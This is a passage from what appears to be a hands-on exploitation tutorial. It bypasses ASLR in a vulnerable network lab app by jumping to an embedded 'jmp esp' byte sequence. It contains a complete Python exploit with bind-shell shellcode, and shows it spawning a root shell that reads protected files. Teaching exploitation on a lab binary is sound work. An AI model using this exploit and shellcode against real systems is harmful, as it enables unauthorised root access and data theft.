 5
 6
 7
 8
 9
10
11
appuser@dev:~$ nasm -f elf32 -o jesp.o jesp.nasm 
appuser@dev:~$ ld -o jesp jesp.o
appuser@dev:~$ objdump -d ./jesp -M intel

./jesp:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   ff e4                   jmp    esp

So all we need to do is find ff e4 anywhere in the application code. A quick grep find us an instruction that contains this sequence:

1
2
appuser@dev:~$ objdump -d ./app-net -M intel | grep 'ff e4'
 8048ccd:   81 7d f0 ff e4 00 00    cmp    DWORD PTR [ebp-0x10],0xe4ff

This is the compare to 58623 on line 104 of the source code above, 58623 is actually e4ff in hex and its stored as ff e4 because we are using a little endian system.

The start of this instruction is at the memory address 08048ccd and our jmp esp is 3 bytes in, so just plus 3 to 08048ccd and we get 08048cd0. This is the address we will overwrite the return address with.

Exploiting The App

Using all of the information we've retrieved so far we can build our exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python

import socket

shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x17\x31\xdb\xcd\x80\x89\xd8\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x27\x0e\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"

payload = "A" * 532

payload += "\xd0\x8c\x04\x08" # the address of our 0xff 0xe4
                  # in reverse (little endian)

payload += "\x90" * 20 # nop sled

payload += shellcode # append our shellcode

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to 127.0.0.1 port 9999
s.connect(("127.0.0.1", 9999))

# send our payload
s.send(payload)

# close the socket
s.close()

The only changes here are, before we overwrite the return address we only send A's (532 of them, 528 for the local variables and 4 for the saved EBP), then we put our return address (the address of jmp esp 08048cd0) and lastly we stick our NOP sled and shellcode (the NOP sled isn't actually needed though as we know ESP will point to the start of our code).

We can now exploit the application, first run the app again:

1
appuser@dev:~$ ./app-net

Now launch the exploit and connect to our shell:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
testuser@dev:~$ python app-net-exploit2.py 
testuser@dev:~$ nc 127.0.0.1 9998
pwd
/home/appuser
whoami
root
ls -l
total 32
-rwsr-xr-x 1 root    root    8431 Jul  7 22:01 app-net
-rwxr-xr-x 1 appuser appuser  486 Jul  8 11:16 jesp
-rw-r--r-- 1 appuser appuser   32 Jul  8 11:08 jesp.nasm
-rw-r--r-- 1 appuser appuser  432 Jul  8 11:16 jesp.o
-rw------- 1 root    root      93 Jul  7 22:02 secret.txt
-rw------- 1 root    root      29 Jul  7 22:03 token
cat token
084934-3492048234728-4847847
cat secret.txt
This is a top secret file!
Only people with the password should be able to view this file!

PWNED!! :-)

Conclusion

While ASLR makes it more difficult to exploit a vulnerability, it doesn't make it impossible. You do, however, need to understand how the stack works more than if ASLR is disabled.

Also, if you need to use instructions from inside the application code, you aren't restricted to the normal instructions executed by the application at runtime. You can jump into the middle of an instruction to create an entirely new instruction to run.

This idea of using bits of instructions (or gadgets) is the beginning of return-oriented programming ROP, which we will use more extensively later.

Happy Hacking :-)